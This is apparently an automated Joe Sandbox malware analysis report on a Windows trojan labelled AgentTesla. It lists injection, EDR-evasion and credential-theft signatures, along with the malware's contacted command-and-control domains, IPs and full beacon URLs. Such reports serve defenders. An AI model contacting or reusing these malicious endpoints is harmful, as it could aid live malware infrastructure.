            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job13
            Virtualization/Sandbox Evasion            		Proc Filesystem11
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt21
            Access Token Manipulation            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron412
            Process Injection            		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
            Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
            Rundll32            		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1549424 Sample: UNGSno5k4G.exe Startdate: 05/11/2024 Architecture: WINDOWS Score: 100 34 www.sterkus.xyz 2->34 36 www.moritynomxd.xyz 2->36 38 7 other IPs or domains 2->38 48 Malicious sample detected (through community Yara rule) 2->48 50 Antivirus detection for URL or domain 2->50 52 Antivirus / Scanner detection for submitted sample 2->52 56 4 other signatures 2->56 10 UNGSno5k4G.exe 1 2->10         started        13 explorer.exe 41 136 2->13         started        15 rundll32.exe 2->15         started        signatures3 54 Performs DNS queries to domains with low reputation 36->54 process4 signatures5 68 Writes to foreign memory regions 10->68 70 Maps a DLL or memory area into another process 10->70 72 Switches to a custom stack to bypass stack traces 10->72 74 Contains functionality to detect sleep reduction / modifications 10->74 17 svchost.exe 10->17         started        76 Query firmware table information (likely to detect VMs) 13->76 process6 signatures7 46 Maps a DLL or memory area into another process 17->46 20 ZndDLeJFrzJRB.exe 17->20 injected process8 signatures9 58 Found direct / indirect Syscall (likely to bypass EDR) 20->58 23 replace.exe 13 20->23         started        process10 signatures11 60 Tries to steal Mail credentials (via file / registry access) 23->60 62 Tries to harvest and steal browser information (history, passwords, etc) 23->62 64 Modifies the context of a thread in another process (thread injection) 23->64 66 3 other signatures 23->66 26 ZndDLeJFrzJRB.exe 23->26 injected 30 explorer.exe 5 4 23->30         started        32 firefox.exe 23->32         started        process12 dnsIp13 40 www.sterkus.xyz 209.74.95.29, 49986, 49987, 49988 MULTIBAND-NEWHOPEUS United States 26->40 42 www.moritynomxd.xyz 172.81.61.224, 49839, 80 ESITEDUS United States 26->42 44 3 other IPs or domains 26->44 78 Found direct / indirect Syscall (likely to bypass EDR) 26->78 signatures14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            UNGSno5k4G.exe83%ReversingLabsWin32.Trojan.AgentTesla
            UNGSno5k4G.exe100%AviraTR/AD.Swotter.sohdb
            UNGSno5k4G.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            http://www.sppsuperplast.online/becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1hpFW51KlNbBS8GqvLsVmQjui7pqzBw==&UPXL=bb7xLbVx1lkD7N100%Avira URL Cloudmalware
            http://www.tracy.club/fl4z/?76yp5b=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzcp1KqIPIBJlEGfbNZZvmCXWpEmY6ZQ==&UPXL=bb7xLbVx1lkD7N0%Avira URL Cloudsafe
            http://www.kovallo.cloud/kmgk/0%Avira URL Cloudsafe
            http://www.moritynomxd.xyz/v5tr/?UPXL=bb7xLbVx1lkD7N&76yp5b=rKvRMuVKXCO914EMf6FJZqs15EwODFtrZQGlCKKDXZs+G4DSdFL+ryYGM1VkNXNOLhPAbMSex0AuWObt4o/1tiXGxnpWKIlAMdpeetvztbm0D0P/FQ==0%Avira URL Cloudsafe
            http://www.sterkus.xyz/ha8h/?76yp5b=PbxAaK8rSTbGZ+BUjIA4k1uuUYM0d40nW5ERHNgbkCm+3sg74DzBCze1WsCQlDZBoOF+IY6Xn812UFXfTFX6/3MPvQCQPMFuzfo+VK5cq25Wd2+yKQ==&UPXL=bb7xLbVx1lkD7N0%Avira URL Cloudsafe
            http://www.sterkus.xyz0%Avira URL Cloudsafe
            http://sppsuperplast.online/becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq100%Avira URL Cloudmalware
            http://www.sppsuperplast.online/becc/100%Avira URL Cloudmalware
            http://www.tracy.club/fl4z/0%Avira URL Cloudsafe
            https://android.notify.windows.com/iOS=0%Avira URL Cloudsafe
            https://android.notify.windows.com/iOS80%Avira URL Cloudsafe
            http://www.sterkus.xyz/ha8h/0%Avira URL Cloudsafe
            http://www.kovallo.cloud/kmgk/?76yp5b=QukKnG46OQSX7O08sGKvg3RM3X3qAaYvhEJu7ZdGlt3+bssdK2PjljbXjRv2eFs2wJoIh8oMTDRJEFcKnARzRzkSQpK8SApNFtkA5U4MUp6J2Mz6QQ==&UPXL=bb7xLbVx1lkD7N0%Avira URL Cloudsafe
            https://android.notify.windows.com/iOSer0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            tracy.club
            		3.33.130.190
            		truefalse
              		unknown
              kovallo.cloud
              		81.2.196.19
              		truefalse
                		unknown
                sppsuperplast.online
                		94.73.146.114
                		truefalse
                  		unknown
                  www.moritynomxd.xyz
                  		172.81.61.224
                  		truetrue
                    		unknown
                    www.sterkus.xyz
                    		209.74.95.29
                    		truetrue
                      		unknown
                      www.kovallo.cloud
                      		unknown
                      		unknowntrue
                        		unknown
                        www.tracy.club
                        		unknown
                        		unknowntrue
                          		unknown
                          www.sppsuperplast.online
                          		unknown
                          		unknowntrue
                            		unknown
                            api.msn.com
                            		unknown
                            		unknownfalse
                              		high

                              Contacted URLs

                              NameMaliciousAntivirus DetectionReputation
                              http://www.tracy.club/fl4z/?76yp5b=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzcp1KqIPIBJlEGfbNZZvmCXWpEmY6ZQ==&UPXL=bb7xLbVx1lkD7Nfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.sppsuperplast.online/becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1hpFW51KlNbBS8GqvLsVmQjui7pqzBw==&UPXL=bb7xLbVx1lkD7Nfalse
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.moritynomxd.xyz/v5tr/?UPXL=bb7xLbVx1lkD7N&76yp5b=rKvRMuVKXCO914EMf6FJZqs15EwODFtrZQGlCKKDXZs+G4DSdFL+ryYGM1VkNXNOLhPAbMSex0AuWObt4o/1tiXGxnpWKIlAMdpeetvztbm0D0P/FQ==false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.sterkus.xyz/ha8h/?76yp5b=PbxAaK8rSTbGZ+BUjIA4k1uuUYM0d40nW5ERHNgbkCm+3sg74DzBCze1WsCQlDZBoOF+IY6Xn812UFXfTFX6/3MPvQCQPMFuzfo+VK5cq25Wd2+yKQ==&UPXL=bb7xLbVx1lkD7Nfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.tracy.club/fl4z/false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.kovallo.cloud/kmgk/false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.sppsuperplast.online/becc/false
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.sterkus.xyz/ha8h/false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.kovallo.cloud/kmgk/?76yp5b=QukKnG46OQSX7O08sGKvg3RM3X3qAaYvhEJu7ZdGlt3+bssdK2PjljbXjRv2eFs2wJoIh8oMTDRJEFcKnARzRzkSQpK8SApNFtkA5U4MUp6J2Mz6QQ==&UPXL=bb7xLbVx1lkD7Nfalse
                              • Avira URL Cloud: safe
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 0000000C.00000002.3190001844.000000000BD70000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://duckduckgo.com/chrome_newtabreplace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actuaexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    http://sppsuperplast.online/becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZqreplace.exe, 00000004.00000002.2381999240.0000000004088000.00000004.10000000.00040000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000002.3183531951.00000000038E8000.00000004.00000001.00040000.00000000.sdmpfalse
                                    • Avira URL Cloud: malware
                                    		unknown
                                    https://duckduckgo.com/ac/?q=replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://api.msn.com:443/v1/news/Feed/Windows?iexplorer.exe, 0000000C.00000002.3187756632.00000000088F4000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://www.msn.com/en-us/news/world/a-second-war-could-easily-erupt-in-europe-while-everyone-s-distexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://www.stacker.com/arizona/phoenixexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppEMexplorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://www.starsinsider.com/n/154870?utm_source=msn.com&utm_medium=display&utm_campaign=referral_deexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svgexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://www.msn.com/en-us/news/crime/bar-fight-leaves-man-in-critical-condition-suspect-arrested-in-explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameriexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://api.msn.com/0i6Mlexplorer.exe, 0000000C.00000002.3190243270.000000000BFAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://parade.com/61481/toriavey/where-did-hamburgers-originateexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://android.notify.windows.com/iOS=explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://api.msn.com/Tjexplorer.exe, 0000000C.00000002.3190243270.000000000BFAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKhbexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchreplace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zealexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://api.msn.com/v1/news/Feed/Windows?activityId=A1668CA4549A443399161CE8D2237D12&timeOut=5000&ocexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://www.msn.com/en-us/foodanddrink/foodnews/the-best-burger-place-in-phoenix-plus-see-the-rest-oexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-oexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://www.sterkus.xyzZndDLeJFrzJRB.exe, 00000006.00000002.3185707565.0000000005667000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://wns.windows.com/explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsiexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-alexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfvexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8-darkexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://www.ecosia.org/newtab/replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://www.msn.com/en-us/news/world/england-considers-raising-smoking-age-until-cigarettes-are-bannexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AAexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            https://ac.ecosia.org/autocomplete?q=replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-cexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://android.notify.windows.com/iOS8explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                https://www.msn.com/en-us/news/politics/trump-whines-to-cameras-in-ny-fraud-case-before-fleeing-to-fexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://www.msn.com/en-us/money/companies/kaiser-permanente-and-unions-for-75-000-striking-health-woexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://android.notify.windows.com/iOSexplorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nationexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://www.yelp.comexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPi8explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svgexplorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-darkexplorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://www.msn.com:443/en-us/feedexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://www.msn.com/en-us/news/world/nobel-prize-in-literature-to-be-announced-in-stockholm/ar-AA1hIexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKhb-darkexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            https://www.msn.com/en-us/weather/topstories/accuweather-el-niexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              https://android.notify.windows.com/iOSerexplorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                              		unknown
                                                                                                                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv-darkexplorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                		high

                                                                                                                                                World Map of Contacted IPs

                                                                                                                                                • No. of IPs < 25%
                                                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                                                • 75% < No. of IPs

                                                                                                                                                Public IPs

                                                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                209.74.95.29
                                                                                                                                                		www.sterkus.xyzUnited States
                                                                                                                                                		31744MULTIBAND-NEWHOPEUStrue
                                                                                                                                                81.2.196.19
                                                                                                                                                		kovallo.cloudCzech Republic
                                                                                                                                                		24806INTERNET-CZKtis238403KtisCZfalse
                                                                                                                                                3.33.130.190
                                                                                                                                                		tracy.clubUnited States
                                                                                                                                                		8987AMAZONEXPANSIONGBfalse
                                                                                                                                                172.81.61.224
                                                                                                                                                		www.moritynomxd.xyzUnited States
                                                                                                                                                		22552ESITEDUStrue
                                                                                                                                                94.73.146.114
                                                                                                                                                		sppsuperplast.onlineTurkey
                                                                                                                                                		34619CIZGITRfalse

                                                                                                                                                General Information

                                                                                                                                                Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                Analysis ID:1549424
                                                                                                                                                Start date and time:2024-11-05 16:22:03 +01:00
                                                                                                                                                Joe Sandbox product:CloudBasic
                                                                                                                                                Overall analysis duration:0h 9m 50s
                                                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                                                Report type:full
                                                                                                                                                Cookbook file name:default.jbs
                                                                                                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                Run name:Run with higher sleep bypass
                                                                                                                                                Number of analysed new started processes analysed:24
                                                                                                                                                Number of new started drivers analysed:0
                                                                                                                                                Number of existing processes analysed:0
                                                                                                                                                Number of existing drivers analysed:0
                                                                                                                                                Number of injected processes analysed:2
                                                                                                                                                Technologies:
                                                                                                                                                • HCA enabled
                                                                                                                                                • EGA enabled
                                                                                                                                                • AMSI enabled
                                                                                                                                                Analysis Mode:default
                                                                                                                                                Analysis stop reason:Timeout
                                                                                                                                                Sample name:UNGSno5k4G.exe
                                                                                                                                                renamed because original name is a hash value
                                                                                                                                                Original Sample Name:36221887f7a5bc5d9ab6c2e9a86a4840c02a834a828acd367925e85e374d0fca.exe
                                                                                                                                                Detection:MAL
                                                                                                                                                Classification:mal100.troj.spyw.evad.winEXE@11/4@6/5
                                                                                                                                                EGA Information:
                                                                                                                                                • Successful, ratio: 75%
                                                                                                                                                HCA Information:
                                                                                                                                                • Successful, ratio: 91%
                                                                                                                                                • Number of executed functions: 40
                                                                                                                                                • Number of non-executed functions: 324
                                                                                                                                                Cookbook Comments:
                                                                                                                                                • Found application associated with file extension: .exe
                                                                                                                                                • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                                                                                                                                Warnings

                                                                                                                                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe, StartMenuExperienceHost.exe, TextInputHost.exe, mobsync.exe, SearchApp.exe
